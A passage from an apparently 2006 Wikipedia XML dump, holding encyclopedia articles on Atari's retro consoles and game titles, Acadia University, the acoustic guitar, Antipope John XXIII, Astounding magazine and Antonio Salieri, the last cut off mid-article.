In 2002, [[Jakks Pacific]], a toy making company, released a [[TV game|plug-and-play]] video game console called the Atari 10-in-1 TV Game, believed by many to arouse interest in the concept of self-contained entertainment devices that did not require separate hardware to operate. It was battery-operated and shaped similarly to an Atari 2600 joystick, and included A/V ports. In 2004, the same company created a device called Atari Paddle Games, in the shape of one of the 2600's &quot;paddle&quot; controllers with appropriate titles included. However, as stated, neither of the games were directly released by Atari.

[[Image:Atari Flashback Console.jpg|thumb|Atari Flashback Console]]

The same year that the Paddle Games were released, Atari released a TV game of their own which they called the [[Atari Flashback]] Console. The device they produced looked like a minute version of the Atari 7800 console originally released in 1984, 20 years previously. The two controllers were small as well, having a joystick and two red buttons on each side. Twenty titles were built into the system. Unlike most plug-and-plays, the Flashback was not powered by batteries, but an (included) AC adaptor instead. The Flashback did fairly well in sales; however, many Atari fans felt disappointed. Many people felt that the device itself was far too small, and the joysticks felt very dissimilar to those of the 7800. Since the games were all recreated on hardware more closely resembling the [[Nintendo Entertainment System]] than the 7800, some of the aspects of certain games concerning the sound, graphics, or gameplay were either changed or omitted. Overall, many enthusiasts believed that the Flashback did not capture the true Atari experience.

Due to popular demand, Atari released a new version of the Flashback console, titled ''[[Atari Flashback 2]]'', in August 2005.

Also, in late October 2005, Atari released one of two collections of its classic arcade games only for the Nokia N-Gage console, titled Atari Masterpieces. Atari Masterpieces Volume I includes classic arcade games: Asteroids, Battlezone, Black Widow, Millipede, Missile Command, Red Baron, Lunar Lander and Super Breakout, and features an exclusive interview with Nolan Bushnell. Atari Masterpieces Volume II is scheduled to be released in March 2006.

==Atari's New Titles and Direction==
Recently, Atari's top-selling titles have been the [[Dragon Ball Z]] games based on the popular anime license from [[Toei Animation]] in [[Japan]]. These include the [[Dragon Ball Z: Budokai]] series of games for next-generation console systems and the [[Dragon Ball Z: The Legacy of Goku]] series of games for the Game Boy Advance. These games have topped the [[List of best selling computer and video games|best-seller charts]] for numerous console platforms since the release of Atari's first [[Dragon Ball Z]] game, [[Dragon Ball Z: The Legacy of Goku|The Legacy of Goku]] in 2002, which was the first [[Dragon Ball]] game to be made by an American company, [[Webfoot Technologies]], and is one of the [[List of best selling computer and video games|best-selling]] Game Boy Advance games of all time (#16). The best selling [[Budokai]] series is developed in Japan by [[Dimps]] and includes [[Dragon Ball Z: Budokai]], [[Dragon Ball Z: Budokai 2]], [[Dragon Ball Z: Budokai 3]] and [[Dragon Ball Z: Budokai Tenkaichi]]. Following the success of the Budokai and Legacy of Goku series, Atari has released numerous other Dragon Ball titles including [[Dragon Ball Z: Supersonic Warriors]], [[Dragon Ball Z: Super Sonic Warriors 2]], [[Dragon Ball Z: Sagas]], [[Dragon Ball GT: Transformation]] and [[Dragon Ball GT: Final Bout]].

Atari also released a series of games based on the smash-hit [[The Matrix]] movie trilogy including [[Enter the Matrix]] and [[The Matrix: Path of Neo]]. These titles represent some of the most expensive video games ever developed. [[Enter the Matrix]] which was developed by [[Shiny Entertainment]] sold 1.38 million units for the Sony [[PlayStation 2]] and 1 million units for the [[Nintendo GameCube]], therefore it made the [[List of best selling computer and video games]].

Other currently popular titles for Atari include the [[RollerCoaster Tycoon]] and [[Driver (video game)|Driver]] series.

==Major products==
===Historical===
*''[[PONG]]'' (several versions)
*[[Atari 2600]]
*[[Atari 5200]]
*[[Atari 7800]]
*[[Atari 8-bit family|Atari XEGS]]
*[[Atari Lynx]]
*[[Atari Jaguar]]
*[[Atari 8-bit family]]
*[[Atari ST]], [[Atari STE]] 
*[[Atari MEGA ST]], [[Atari MEGA STE]] professional line 
*[[Atari TT]]
*[[Atari Falcon]]
*[[Atari Transputer Workstation]]
*[[Atari Portfolio]] palmtop computer

===Current===
*''[[Act of War: Direct Action]]''
*''[[Alone in the Dark (series)|Alone in the Dark]]''
*''[[Boiling Point: Road to Hell]]''
*''[[Backyard Sports]]''
*''[[Dark Earth]]''
*''[[Dragon Ball Z: Budokai]]''
*''[[Dragon Ball Z: Sagas]]''
*''[[Dragon Ball Z: Supersonic Warriors]]''
*''[[Dragon Ball Z: Super Sonic Warriors 2]]''
*''[[Dragon Ball Z: The Legacy of Goku]]''
*''[[Dragon Ball GT: Final Bout]]''
*''[[Dragon Ball GT: Transformation]]''
*''[[Driver (video game)|Driver]]'' (1999)
*''[[Driver 2]]'' (2000)
*''[[DRIV3R]]'' (2004)
*''[[Enter the Matrix]]''
*''[[Chris Sawyer's Locomotion]]''
*''[[Neverwinter Nights]]'' ([[Neverwinter Nights 2]] in development)
*''[[RollerCoaster Tycoon 3]]''
*''[[Test Drive (video game)|Test Drive]]'' (1987)
*''[[Unreal Tournament]]''
*''[[Godzilla: Destroy All Monsters Melee]]''
*''[[Godzilla: Save the Earth]]''
*''[[Transformers]]''
*''[[TimeShift]]''
*''[[Atari Flashback]]''
*''[[Atari Flashback 2]]''
*''[[Mission Impossible: Operation Surma]]''
*''[[Terminator 3: The Redemption]]''
*[http://www.tcny.co.uk/ Tycoon City : New York]

==External links==
*[http://www.atarihq.com/ Atari Headquarters]
*[http://www.atari.com/ Official worldwide Atari portal]
*[http://www.atari.com/us/ Atari North America]
*[http://www.ataricommunity.com Official Atari Forums]
*[http://www.ataritimes.com/ Atari Times], Supporting all Atari consoles.
*[http://www.atari.org/ Atari.org]
*[http://www.atariage.com/ AtariAge.com]
*[http://www.atarimuseum.com Atari Museum]
*[http://www.atarihistory.de The official site of the Atari Museum for continental Europe]
*[http://www.heartbone.com/comphist/Atari.htm heartbone.com] Condensed Atari History
*[http://movieprop.com/videogames/atari/index.htm Atari Corporate History], a site about the History of Atari from a corporate perspective
*[http://www.retromadness.com/ Computer History Museum] - Museum of home computing and gaming.
*[http://www.atari8.info/index.php?lang=en Atari XL/XE Scene Information Page] - News and infos from the Atari XL/XE fans world.
*[http://www.thedoteaters.com/play1sta2.htm Atari article on The Dot Eaters], covering the birth of Atari
*[http://www.thedoteaters.com/play3sta1.htm Atari VCS/2600 article on The Dot Eaters], early console history, including a complete history of the VCS
*[http://www.thedoteaters.com/play3sta5.htm Atari 5200/7800 article on The Dot Eaters], later pre-crash consoles, including Atari's 8-bit death throes
*[http://www.atarichile.com/ Amazing page in South America about Atari 8 bits], the Atarichile.com is an interesting page about the Atari in Chile/South America

''See also:'' [[Atari Games]]

[[Category:1972 establishments]]
[[Category:1980s fads]]
[[Category:Atari| ]]
[[Category:Computer and video game companies]]
[[Category:Home computer hardware companies]]

[[cs:Atari]]
[[de:Atari]]
[[es:Atari]]
[[fi:Atari]]
[[fr:Atari]]
[[it:Atari]]
[[ja:アタリ (ゲーム)]]
[[nl:Atari]]
[[pl:Atari]]
[[pt:Atari]]
[[sv:Atari]]</text>
    </revision>
  </page>
  <page>
    <title>Afghan</title>
    <id>2235</id>
    <revision>
      <id>33804171</id>
      <timestamp>2006-01-04T03:28:15Z</timestamp>
      <contributor>
        <username>Brockzilla</username>
        <id>147131</id>
      </contributor>
      <text xml:space="preserve">{{Wiktionarypar|Afghan}}
'''Afghan''' can refer to any of the following:

*[[Afghanistan]]
*[[Afghan people|People of Afghanistan]]
*A [[Pashtun]] (ethnicity) 
*The [[Afghan hound]]
*An [[Afghan blanket]]
*An [[Afghan carpet]]

''For etymology of Afghan/Afghanistan see [[List of country name etymologies]]''

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Acadia University</title>
    <id>2236</id>
    <revision>
      <id>40359483</id>
      <timestamp>2006-02-20T01:18:58Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{bias}}
{{Infobox_University
|name            =
|native_name     =
|latin_name      =
|image           = [[Image:AcadiaUniversityLogo.png|300px]]
|motto           = ''In pulvere vinces'' &lt;br&gt; ([[Latin]]: &quot;In dust, you conquer&quot;)
|established     = 1838
|type            = [[Public university|Public]]
|city            = [[Wolfville, Nova Scotia|Wolfville]]
|state           = [[Nova Scotia]]
|country         = [[Canada]]
|students= 3894 ([[as of 2004]])
|undergrad       =
|postgrad        =
|doctoral        =
|staff           = 211 full and 37 part-time
|president       = [[Gail Dinter-Gottlieb]]
|rector          =
|chancellor      =
|vice_chancellor =
|dean            =
|campus          = 250 [[acres|Acre]] (100 [[hectares|Hectare]])
|colors          =
|colours         =
|mascot          =
|affiliations    =
|free_label      = Sports teams
|free            = [[Acadia Axemen|Axemen]] and [[Acadia Axewomen|Axewomen]]
|website         = http://www.acadiau.ca
|footnotes       = Logo &amp;copy; Acadia University
}}
'''Acadia University''' is a [[university]] located in [[Wolfville, Nova Scotia|Wolfville]], [[Nova Scotia]], [[Canada]]. It began as Horton Academy (1828), which was founded by [[Baptists]] from Nova Scotia. The two major Universities of the day in Nova Scotia were heavily controlled by Denominational structures. King's College ([[University of King's College]]) was an [[Anglican]] School and [[Dalhousie University]], which was originally non-denominational, had placed itself under the control and direction of the [[Church of Scotland]]. It was the failure of Dalhousie to appoint a prominent Baptist pastor and scholar, Edmund Crawley, to the Chair of [[Classics]], as had been expected, that really thrust into the forefront of Baptist thinking the need for a College established and run by the Baptists.

In 1838, the Nova Scotia Baptist Education Society founded Queen's College (named for Queen Victoria). The College began with 21 students in January 1839. The name &quot;Queen's College&quot; was denied to the Baptist school, so it was renamed &quot;Acadia College&quot; in 1841, in reference to the history of the area as an [[Acadian]] settlement. It became a university in 1891.

The Granville Street Baptist Church (now [[First Baptist Church Halifax]]) was an instrumental and determining factor in the founding of the University. It has played a supporting role throughout its history, and shares much of the credit for its survival and development. &quot;Together, we should feel a great sense of pride in what we have built,&quot; said former AU President Dr. [[Kelvin Ogilvie]] in some remarks to the congregation on April 16, 2000.

In marking the 50th anniversary of the latest church building, Dr. Ogilvie delivered a fitting tribute to the congregation. Many members are graduates of Acadia University and have been associated with the [[Acadia Divinity College]]. &quot;This unique relationship between [[Acadia Divinity College]] and Acadia University is an important one; one which we must work to preserve,&quot; commented Dr. Ogilvie.

Many individuals who have made significant contributions to Acadia University, including the first president [[John Pryor]], were members of the [[First Baptist Church Halifax]] congregation.

The original charter as a college stated:

''And be it further enacted, that no religious tests or subscriptions shall be required of the Professors Fellows, Scholars, Graduates or Officers of the said College; but that all the privileges and advantages thereof shall be open and free to all and every Person and Persons whomsoever, without regard to religious persuasion... And it shall and may be lawful for the trustees and Governors of the said College to select as Professors, and other Teaches or Officers, competent persons of any religious persuasion whatever, provided such person or persons shall be of moral and religious character.''

This was unique at the time, and a direct result of Baptists being denied entry into other schools that required religious tests of their students and staff. 

[[As of 2005]], Acadia has approximately 4,000 students. Some would consider Acadia University's most outstanding factor to be its Acadia Advantage programme.  The initiative (which was unique in Canada for several years after beginning in 1996) integrates the use of [[laptop computers]], which are loaned to all students, into the [[undergraduate]] curriculum.  Acadia also has the highest tuition in Canada, in part because of the additional fees students must pay to participate in the Acadia Advantage programme.

[[As of 2005]], Acadia's president is [[Gail Dinter-Gottlieb]]; she took on her position after the retirement of past president [[Kelvin Ogilvie]] in 2003.  In February and March of 2004, Acadia experienced its first ever [[Strike action|strike]] by the faculty.  Professors and librarians were off the job for two weeks before they reached a settlement.

The university is also home to the [[Baptist]] [[Seminary]] [[Acadia Divinity College]].

Acadia's sports teams are called the [[Acadia Axemen|Axemen]] and [[Acadia Axewomen|Axewomen]].  They participate in the Atlantic University Sports conference of [[Canadian Interuniversity Sport]].

===The Acadia Advantage=== 
The Acadia Advantage is an academic programme unique in Canada whereby each of the undergraduate (and many of the graduate) students receive [[laptop]] computers to use from September to May. Honours students may use their computers in the summer before their last year. Other students have the option to rent their laptops over the summer months. From 1996-2004, the university had a contract with [[IBM]]; the 2004-2005 year saw a shift to the [[Dell, Inc.|Dell]] Lattitude D600 computers.

Throughout the entirety of the Acadia Advantage program, the following laptops have been employed, each for a two year &quot;turnover&quot; (lease) period:&lt;br&gt;

*IBM Thinkpad 365ED
*IBM Thinkpad 365XD
*IBM Thinkpad 385ED
*IBM Thinkpad iSeries (exact model unsure)&lt;sup&gt;*&lt;/sup&gt;
*IBM Thinkpad a20m
*IBM Thinkpad r31
*Dell Lattitude D600

&lt;sup&gt;*&lt;/sup&gt;The iSeries based laptop was used as a stop-gap measure for the 98-99 semesters, as the 1998 enrollment numbers outstripped the number of available 385ED laptops already in use.

Currently, an insurance policy is available through the [http://bartleby.acadiau.ca:7778/pls/portal/usc.usc_home_proc USC] (User Support Centre), the university's first and only point of contact for hardware and software technical support.  This insurance policy, a &quot;total care package&quot; will cover most all accidental damage to the laptops.  This is a boon to the student body, as the fast pace of university life, coupled with general lack of regard towards the laptops, results in hundreds of thousands of dollars in damage each year.

Students come to Acadia with different computer backgrounds, but almost every student leaves with some highly developed computer skills. Students have access to resources like the User Support Centre, and faculty receive a lot of support from the [[Acadia Institute for Teaching and Technology]]. 

Most of the classrooms at Acadia are equipped with ergonomic chairs, [[acoustics|acoustic]] tile, data projectors, and network drops or wireless network access. There are over 7,000 data connections on the campus, and many areas support wireless internet access including the Student Union Building ([[Acadia Students' Union]]), the [[Vaughan Memorial Library]], the [[Acadia Divinity College]], and the [[KC Irving Centre]] (named for [[Kenneth Colin Irving|K.C. Irving]]).

Former Acadia President Dr. Kelvin Ogilvie, explains, &quot;We are moving the classroom into a new, dynamic, and exciting environment that brings students and faculty together in a fashion that has never before occurred. The dynamism of the classroom is unprecedented. The possibilities are limited only by the imagination.&quot;

The Acadia Advantage Programme has received recognition from the [[Smithsonian]] Institution, and is part of the permanent collection of the Smithsonian National Museum of American History. In addition, [[Acadia University]] received the Pioneer Award for Ubiquitous Computing in 2001, it has achieved high rankings in the annual ''[[Maclean's]]'' University Rankings, including Best Overall for Primarily Undergraduate University in their opinion survey, and it received the Canadian Information Productivity Award in 1997 as it was praised as the first university in Canada to fully utilize information technology in the undergraduate curriculum.

==External links==
*[http://www.acadiau.ca/ Acadia University]

''See also [[Acadia Students' Union]]''

{{NS Uni}}
[[Category:Acadia University|*]]
[[Category:Kings County, Nova Scotia]]</text>
    </revision>
  </page>
  <page>
    <title>Acoustic guitar</title>
    <id>2237</id>
    <revision>
      <id>40484330</id>
      <timestamp>2006-02-20T22:29:51Z</timestamp>
      <contributor>
        <username>ILike2BeAnonymous</username>
        <id>715870</id>
      </contributor>
      <comment>revert</comment>
      <text xml:space="preserve">[[Image:AcousticGuitar.jpg|right|Acoustic Guitar]]
An '''acoustic guitar''' is a modern form of [[Guitar|guitar]] descended from the [[Classical guitar]], but generally strung with steel strings for a brighter, louder sound.  Much heavier construction is required to withstand the added tension.  Sometimes the term '''steel-stringed guitar''' or '''folk guitar''' is used to differentiate from the classical guitar. The term &quot;acoustic guitar&quot; is a [[retronym]], since before the invention of the [[electric guitar|electric]] instrument, &quot;guitar&quot; meant only the non-amplified variety.

[[Image:Playing acoustic guitar.jpg|right|thumb|Playing an acoustic guitar without a pick ([[fingerpicking]])]]

There are many different variations on the construction of and materials used in acoustic guitars. More expensive guitars feature solid wood tops (often [[spruce]]), sides and backs (often Indian [[rosewood]], [[maple]], or [[mahogany]]). Lower-priced guitars can combine solid tops with [[laminate]]d backs and/or sides. Entry-level guitars are usually made entirely of laminated wood. Necks are generally made of mahogany (either Phillipine or Honduras), and [[fingerboards]] are usually made of dense tropical hardwoods such as rosewood or [[ebony]]. The various combinations of the different woods and their quality, along with design and construction elements (for example, how the top is braced) are among the factors affecting the [[timbre]] or &quot;tone&quot; of the guitar. Due to decreasing availability and rising prices of the premium-quality woods, many manufacturers have begun experimenting with alternate species of woods or more commonly available variations on the standard species. For example, some makers have begun producing models with [[redcedar]] or mahogany tops. Some have also begun using non-wood materials, such as [[plastic]] or [[graphite]]. Most [[luthier]]s and experienced players agree that a solid top is the most important factor in the tone of the guitar, and that solid backs and sides can also contribute to a pleasant sound, although laminated sides and backs are acceptable alternatives.  Some [[jazz]] players prefer laminated backs and sides (please see [[Guitar]] for more details on the construction of acoustic guitars).

Another style of acoustic guitar is the [[archtop guitar]].  This is most commonly used by swing and jazz players, and often incorporates electronics in the form of a [[pickup (music)|pickup]].

There are several prominent [[United States of America|American]] makers of acoustic guitars.  [[Martin Guitars|Martin]], [[Guild]], [[Taylor Guitars|Taylor]], and [[Gibson Guitar Corporation|Gibson]] are known for both the quality and price of their instruments.
The [[Selmer-Maccaferri Guitar]] is an unusual looking guitar played by [[Django Reinhardt]] style musicians, distinctive by its &quot;D&quot; hole or longitudinal oval soundhole. 

The standard tuning for an acoustic guitar is EADGBE (low to high), although many players, particularly fingerpickers, use alternate tunings, such as &quot;Open G&quot; (DGDGBD), &quot;[[open D tuning]]&quot; (DADF#AD), or &quot;Drop D&quot; (DADGBE).

One variation on the standard acoustic guitar is the [[12 string guitar]], which sports an additional doubling string for each of the traditional six strings.  This guitar was made famous by artists such as Huddie Leadbetter (a.k.a. [[Leadbelly]]), [[Pete Seeger]], and [[Leo Kottke]].

Throughout the 20th century the predominant forms of music played on the most common type of acoustic guitar (the flattop steel-string guitar) remained relatively stable and included acoustic [[blues]], [[country music|country]], [[bluegrass music|bluegrass]], [[folk music|folk]], and several genres of [[rock (music)|rock]].  In the last decade or two more intricate fingerstyle guitar music, rooted in [[European classical music|classical music]], [[Celtic music]], and American styles and characterized by musicians such as '''Al Petteway''', '''Alex de Grassi''', and [[Pierre Bensusan]], has become popular enough that several luthiers have been experimenting with redesigning the acoustic guitar.  These flat top steel-string guitars are constructed and voiced more for classical-like [[fingerpicking]] and less for chordal accompaniment.  Luthiers such as '''Kevin Ryan''', '''Stefan Sobell''', and '''George Lowden''' have increasingly focused their attention on the needs of fingerstylists and have developed unique guitars for this style of playing.

[[Category:Guitars]]

[[bg:Акустична китара]]
[[de:Akustische Gitarre]]
[[es:Guitarra acústica]]
[[he:גיטרה אקוסטית]]
[[it:Chitarra acustica]]
[[ja:アコースティック・ギター]]
[[ko:포크기타]]
[[nl:Akoestische gitaar]]
[[pl:Gitara akustyczna]]
[[ru:Классическая гитара]]
[[sv:Akustisk gitarr]]</text>
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  </page>
  <page>
    <title>Antipope John XXIII</title>
    <id>2238</id>
    <revision>
      <id>41308856</id>
      <timestamp>2006-02-26T12:55:22Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Knights Templar]] to [[Knights Templar (military order)]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">[[Image:Johannes XXIII Gegenpapst.jpg|thumb|Antipope John XXIII]]'''Antipope John XXIII''', [[antipope]] of the [[Pisa]]n party ([[1410]]&amp;ndash;[[1415]]), (about [[1370]] &amp;ndash; [[November 22]], [[1419]]), was born as '''Baldassare Cossa'''.

Cardinal Baldassare Cossa was one of the seven [[Cardinal (Catholicism)|cardinal]]s who, in May of [[1408]], deserted [[Pope Gregory XII]], and, with those belonging to the obedience of [[Antipope Benedict XIII]], convened the [[Council of Pisa]], of which Cossa became the leader. They elected [[Pope Alexander V]] in [[1409]]. Cossa succeeded him a year later.

[[Edward Gibbon]] asserts in ''[[The History of the Decline and Fall of the Roman Empire]]'' that John XXIII was charged with [[piracy]], [[murder]], [[rape]], [[sodomy]], and [[incest]], with the more serious charges being suppressed. Of course, this needs to be viewed in the light of the political situation of the time, as the charges were likely trumped up; note the similarity to the charges against the [[Knights Templar (military order)|Knights Templar]]. 

He should not be confused with [[Pope John XXIII]] of the [[20th century]]. The fact that for more than 500 years there was no Pope named John (vs. 23 in 1400 years) is probably due to the controversial figure this (anti)Pope represented.  When Pope John XXIII was elected, there was some confusion as to whether or not he would be ''John XXIII'' or ''John XXIV''. John then declared that he was John XXIII to put this question to rest. The decision of the 20th century Pope John XXIII not to be named John XXIV as might be expected serves as a confirmation of the antipope status of this first John XXIII. It should be noted, however, that the numbering of the Popes called John is debatable; for example, Gibbon refers to the Antipope John as John XXII.

The [[North America]]n student [[fraternity]] [[Kappa Sigma]] claims that its origins stem from Cossa's governorship of [[Bologna]], where his campaign of assault and robbery against the students of the [[University of Bologna]] led to a secret organization under the teacher [[Manuel Chrysoloras]] for mutual protection against Cossa's brigands.

After the events of the [[Council of Constance]] (1415), he was freed from prison in Germany by Martin V in 1418 and later died as cardinal bishop of [[Tusculum]] in 1419.

[[Category:1370s births|John XXIII]]
[[Category:1419 deaths|John XXIII]]
[[Category:Antipopes|John 23]]

[[bg:Йоан XXIII (антипапа)]]
[[cs:Jan XXIII. (vzdoropapež)]]
[[de:Johannes XXIII. (Gegenpapst)]]
[[fr:Jean XXIII (antipape)]]
[[it:Antipapa Giovanni XXIII]]
[[ja:ヨハネス23世 (対立教皇)]]
[[no:Johannes XXIII (motpave)]]
[[pl:Antypapież Jan XXIII]]
[[pt:Antipapa João XXIII]]
[[sv:Johannes XXIII (motpåve)]]</text>
    </revision>
  </page>
  <page>
    <title>Astounding (magazine)</title>
    <id>2239</id>
    <revision>
      <id>35759715</id>
      <timestamp>2006-01-19T02:00:16Z</timestamp>
      <contributor>
        <username>Mary Read</username>
        <id>808878</id>
      </contributor>
      <text xml:space="preserve">'''''Astounding Stories''''' was a seminal [[science fiction]] [[magazine]] founded in [[1930]] and initially published by [[Street &amp; Smith]].  ''Astounding Stories of Super-Science'', first edited by [[Harry Bates (author)|Harry Bates]], is generally considered the forum where modern [[science fiction]] was created.  It has changed names repeatedly, most importantly in 1938 to ''Astounding Science-Fiction'', and then in the 1960s to '''''Analog Science Fiction and Science Fact''''', under which name it is still published. The word &quot;and&quot; was sometimes replaced in the logo by a pseudo-[[mathematical symbol]] comprising a horizontal right-pointing arrow piercing an inverted U-shape. The symbol, apparently invented by Campbell, was said to mean &quot;analogous to.&quot;

[[Image:Astounding Grey Lensman.png|thumb|180px|left|&quot;Grey Lensman&quot; by [[E. E. Smith]] in ''Astounding'', Oct. 1939]]
Following 8 years of publication under two different editors, the magazine's helm was assumed by [[John W. Campbell]], who took over in [[1937]].  Campbell retitled it ''Astounding Science-Fiction'' and brought an unprecedented insistence on placing equal emphasis on both words of &quot;science fiction.&quot; No longer satisfied with gadgetry and action alone, Campbell demanded that his writers think out how science and technology might really develop in the future - and, most important, how those changes would affect the lives of human beings.

The new sophistication soon made ''Astounding'' the undisputed leader in the field. Campbell later began to think the old title was too &quot;sensational&quot; or &quot;juvenile&quot; to reflect what the magazine was actually doing, so he initially de-emphasized the word &quot;Astounding&quot; by having it printed in narrow script above the bold words &quot;SCIENCE FICTION,&quot; and then renamed the magazine ''Analog'' in [[1960]]. Over the course of a year the title logo was changed; the large initial &quot;A&quot; stayed the same while the letters &quot;stounding&quot; were faded down and the letters &quot;nalog&quot; faded up on top of them. Bibliographers often abbreviate the magazine as ''ASF'', which can of course stand for either title.

[[Ben Bova]] took over as editor after Campbell died suddenly in [[1971]], and was himself succeeded by [[Stanley Schmidt]] in [[1978]].

Due to the economics of the magazine publishing industry (i.e. not much money in the budget), ''Analog'' frequently prints material from previously unknown authors, and has launched the careers of popular contributors within the genre (e.g. [[Orson Scott Card]]'s ''[[Ender's Game]]'' in the [[1970s]], and early work by [[Harry Turtledove]] in the [[1980s]].)

Each year, ''Analog'' conducts a readers' poll—called the Analytical Laboratory, or AnLab—to determine the favorite stories, articles and cover art published in the magazine in the previous year.  Many recipients of the AnLab Award have gone on to receive the much-coveted [[Hugo Award]].

[[Image:AnalogOctober1972.jpg|thumb|October 1972 issue of ''Analog'']]

==Editors==
*[[Harry Bates (author)|Harry Bates]], January [[1930]] - March [[1933]]
*[[F. Orlin Tremaine]], October [[1933]] - October [[1937]]
*[[John W. Campbell]], October [[1937]] - December [[1971]]
*[[Ben Bova]], January [[1972]] - November [[1978]]
*[[Stanley Schmidt]], December [[1978]] to present

==External link==
*[http://www.analogsf.com/ Analog Science Fiction and Fact official web site]

[[fr:Astounding Stories]]
[[de:Astounding]]
[[nl:Analog Science Fiction and Fact]]
[[sv:Astounding Science Fiction]]
[[Category:United States magazines]]
[[Category:Science fiction magazines]]</text>
    </revision>
  </page>
  <page>
    <title>Ap</title>
    <id>2240</id>
    <revision>
      <id>15900672</id>
      <timestamp>2005-04-26T00:53:14Z</timestamp>
      <contributor>
        <username>Jacottier</username>
        <id>174177</id>
      </contributor>
      <comment>AP --&gt; Associated Press</comment>
      <text xml:space="preserve">#REDIRECT [[Associated Press]]</text>
    </revision>
  </page>
  <page>
    <title>Antonio Salieri</title>
    <id>2241</id>
    <revision>
      <id>41490123</id>
      <timestamp>2006-02-27T18:41:21Z</timestamp>
      <contributor>
        <ip>131.130.135.193</ip>
      </contributor>
      <comment>/* Biography */</comment>
      <text xml:space="preserve">[[Image:salieri.jpg|thumb|Antonio Salieri]]
'''Antonio Salieri''' ([[August 18]], [[1750]] &amp;ndash; [[May 7]], [[1825]]), born in [[Legnago]], [[Italy]], was a [[composer]] and [[Conducting|conductor]], as well as one of the most important and famous musicians of his time.

== Biography ==   
    
Raised in a prosperous family of merchants, Salieri studied [[violin]] and [[harpsichord]] with his brother Francesco, who was a student of [[Giuseppe Tartini]]. After the early death of his parents, he moved to [[Padua]], then to [[Venice]], where he studied [[thoroughbass]] with Giovanni Battista Pescetti. There he met Florian Leopold Gassmann in 1766, who invited him to attend the court of [[Vienna]] and there trained him in composition based on [[Johann Joseph Fux|Fux]]'s ''Gradus ad Parnassum''. He remained in Vienna for the remainder of his life. In 1774, after Gassmann's death, Salieri was appointed court composer by [[Joseph II, Holy Roman Emperor|Emperor Joseph II]]. He met his wife, Therese von Helfersdorfer, in 1774. (The couple went on to have eight children.) Salieri became Imperial Royal [[Kapellmeister]] in 1788, a post which he held till 1824. He was president of the &quot;Tonkünstler-Societät&quot; (society of musical artists) from 1788 to 1795, vice-president after 1795, and in charge of its concerts until 1818.   
    
He attained an elevated social standing, and was frequently associated with other celebrated composers like [[Joseph Haydn]] or [[Louis Spohr]]. He had important roles in [[1800s|19th century]] [[European classical music|classical music]]: he taught famous composers like [[Ludwig van Beethoven]], [[Carl Czerny]], [[Johann Nepomuk Hummel]], [[Franz Liszt]], [[Giacomo Meyerbeer]], [[Ignaz Moscheles]], [[Franz Schubert]] and [[Franz Xaver Süssmayr]]. He also taught Mozart's younger son, [[Franz Xaver Wolfgang Mozart|Franz Xaver]].

Salieri was buried in the Matzleinsdorfer Friedhof (his remains were later transferred to the [[Zentralfriedhof]]) in [[Vienna, Austria]]. At his funeral service his own Requiem in C minor - composed in 1804 - was performed for the first time. His monument is adorned by a poem written by [[Joseph Weigl]], one of his pupils:   

&lt;blockquote&gt;
''Rest in peace! Uncovered by dust'' &lt;br /&gt;
''eternity shall bloom for you.'' &lt;br /&gt;
''Rest in peace! In eternal harmonies'' &lt;br /&gt;
''your spirit now is dissolved.'' &lt;br /&gt;
''He expressed himself in enchanting notes,'' &lt;br /&gt;
''now he is floating to everlasting beauty.''&lt;/blockquote&gt;

== Works ==
{{main|List of compositions by Antonio Salieri}}

During his time in Vienna, Salieri acquired great prestige as a composer and conductor, particularly of [[opera]], but also of [[chamber music|chamber]] and [[sacred music]]. The most successful of his more than 40 operas included ''Armida'' (1771), ''La scuola de' gelosi'' (1778), ''Der Rauchfangkehrer'' (1781), ''Les Danaïdes'' (1784), which was first presented as a work of [[Christoph Willibald Gluck|Gluck]]'s, ''[[Tarare]]'' (1787), ''Axur, Re d'Ormus'' (1788), ''Palmira, Regina di Persia'' (1795), and ''Falstaff o sia Le tre burle'' (1799). He wrote comparatively little instrumental music, including two [[piano concerto]]s and a concerto for [[organ (music)|organ]] written in 1773, a concerto for [[flute]], [[oboe]] and orchestra (1774), and a set of 26 variations on ''La Follia di Spagna'' (1815).

== Salieri and Mozart ==

In Vienna in the 1790s, [[Wolfgang Amadeus Mozart|Mozart]] mentioned several &quot;cabals&quot; of Salieri concerning his new opera ''[[Così fan tutte]]''. As Mozart's music became more popular over the decades, Salieri's music was forgotten, and Mozart's allegations gained credence and tarnished Salieri's reputation. At the beginning of the 19th century, increasing [[nationalism]] led to a tendency to transfigure the [[Austria|Austrian]] Mozart's [[genius]], while the [[Italy|Italian]] Salieri was given the role of his evil [[antagonist]]. [[Albert Lortzing]]'s ''Singspiel'' ''Szenen aus Mozarts Leben'' LoWV28 (1832) uses the cliché of the jealous Salieri trying to hinder Mozart's career. While Italian by birth, Salieri had lived in imperial Vienna since he was 16 years old and was regarded as a German composer. In 1772, Empress [[Maria Theresia]] made a comment on her preference to Italian composers over Germans like Gassmann, Salieri or [[Gluck]]. Salieri saw himself as a German composer, which some of his German letters, operas, cantatas, and songs seem to prove.

The biographer Alexander Wheelock Thayer believes that Mozart's suspicions of Salieri could have originated with an incident in 1781 when Mozart applied to be the music teacher of the Princess of Württemberg, and Salieri was selected instead because of his good reputation as a singing teacher. In the following year Mozart once again failed to be selected as the Princess's piano teacher.

Later on, when Mozart's ''[[The Marriage of Figaro|Le Nozze di Figaro]]'' was not well received by either the Emperor Joseph II or by the public, Mozart blamed Salieri for the failure. ''&quot;Salieri and his tribe will move heaven and earth to put it down&quot;'', [[Leopold Mozart]] wrote to his daughter Nannerl. But at the time of the premiere of ''Figaro'', Salieri was busy with his new [[French language|French]] opera ''Les Horaces''. Thayer believes that the intrigues surrounding the failure of ''Figaro'' were instigated by the poet Giovanni Battista Casti against the Court Poet, [[Lorenzo da Ponte]], who wrote the ''Figaro'' [[libretto]].

Later, when da Ponte was in [[Prague]] preparing the production of Mozart's setting of his ''[[Don Giovanni]]'', the poet was ordered back to Vienna for a royal wedding for which Salieri's ''Axur, Re d'Ormus'' would be performed. Obviously, Mozart was not pleased by this. 

